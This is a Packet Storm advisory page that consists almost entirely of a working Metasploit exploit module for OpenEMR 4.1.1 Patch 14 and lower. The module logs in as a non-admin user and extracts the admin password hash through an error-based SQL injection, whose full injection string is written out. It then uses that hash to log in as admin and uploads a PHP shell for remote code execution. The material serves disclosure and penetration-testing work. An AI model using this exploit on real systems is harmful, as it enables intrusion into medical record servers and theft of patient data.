OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution

2013-09-20T00:00:00
ID PACKETSTORM:123322
Type packetstorm
Reporter xistence
Modified 2013-09-20T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution",  
'Description' => %q{  
This module exploits a vulnerability found in OpenEMR version 4.1.1 Patch 14 and lower.  
When logging in as any non-admin user it's possible to retrieve the admin SHA1 password  
hash from the database through SQL injection. The SQL injection vulnerability exists  
in the "new_comprehensive_save.php" page. This hash can be used to log in as the admin  
user. After logging in, the "manage_site_files.php" page will be used to upload arbitrary  
code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module  
],  
'References' =>  
[  
['EDB', '28329']  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['OpenEMR', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Sep 16 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr']),  
OptString.new('USER', [true, 'The non-admin user', '']),  
OptString.new('PASS', [true, 'The non-admin password', ''])  
], self.class)  
end  
  
def peer  
return "#{rhost}:#{rport}"  
end  
  
def uri  
return target_uri.path  
end  
  
def check  
# Check version  
print_status("#{peer} - Trying to detect installed version")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, "interface", "login", "login.php")  
})  
  
if res and res.code == 200 and res.body =~ /v(\d+.\d+.\d+)/  
version = $1  
else  
return Exploit::CheckCode::Unknown  
end  
  
print_status("#{peer} - Version #{version} detected")  
  
if version < "4.1.2"  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def login(base, name, pass)  
#print_status("#{peer} - Logging in as non-admin user [ #{datastore['USER']} ]")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri("#{base}", "interface", "main", "main_screen.php"),  
'vars_get' => {  
"auth" => "login",  
"site" => "default"  
},  
'vars_post' => {  
'authProvider' => 'Default',  
'authUser' => "#{name}",  
'authPass' => "#{pass}"  
}  
})  
  
if res && res.code == 200 and res.headers['Set-Cookie'] =~ /OpenEMR=([a-zA-Z0-9]+)/  
session = $1  
print_status("#{rhost}:#{rport} - Login successful")  
print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]")  
return session  
else  
fail_with(Failure::Unknown, "#{peer} - Login was not succesful!")  
end  
end  
  
def exploit  
# Password should be converted to a SHA1 hash  
password = Rex::Text.sha1(datastore['PASS'])  
  
# Login as non-admin  
cookie = login(uri, datastore['USER'], password)  
  
sqlq = rand_text_alpha(8)  
# Generate random string and convert to hex  
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join  
  
# Our SQL Error-Based Injection string - The string will return the admin password hash between the words ABCD<hash>ABCD in the response page.  
sqli = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) "  
sqli << "FROM users WHERE username = 0x61646d696e LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '#{sqlq}'='#{sqlq}"  
  
post_data = "form_pubpid=#{sqli}"  
print_status("#{peer} - Retrieving admin password hash through SQLi")  
res = send_request_cgi({  
'method' => 'POST',  
'data' => post_data,  
'cookie' => "OpenEMR=#{cookie}",  
'uri' => normalize_uri(uri, "interface", "new", "new_comprehensive_save.php")  
})  
  
if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/  
adminhash = $1  
print_status("#{peer} - Admin password hash is [ #{adminhash} ]")  
else  
fail_with(Failure::Unknown, "#{peer} - Retrieving admin password failed!")  
end  
  
# Login as admin and retrieve cookie  
cookie = login(uri, "admin", "#{adminhash}")  
  
# Random filename  
payload_name = rand_text_alpha(rand(10) + 5) + '.php'  
  
post_data = Rex::MIME::Message.new  
post_data.add_part("", nil, nil, "form-data; name=\"bn_save\"")  
post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"form_image\"; filename=\"#{payload_name}\"")  
file = post_data.to_s  
file.strip!  
  
print_status("#{peer} - Uploading shell [ #{payload_name} ]")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, "interface", "super", "manage_site_files.php"),  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'cookie' => "OpenEMR=#{cookie}",  
'data' => file  
})  
  
# If the server returns 200 and the body contains our payload name,  
# we assume we uploaded the malicious file successfully  
if not res or res.code != 200 or res.body !~ /#{payload_name}/  
fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")  
end  
  
register_file_for_cleanup(payload_name)  
  
print_status("#{peer} - Requesting shell [ #{uri}/sites/default/images/#{payload_name} ]")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, "sites", "default", "images", "#{payload_name}")  
})  
  
# If we don't get a 200 when we request our malicious payload, we suspect  
# we don't have a shell, either.  
if res and res.code != 200  
print_error("#{peer} - Unexpected response, exploit probably failed!")  
end  
  
end  
  
end  
`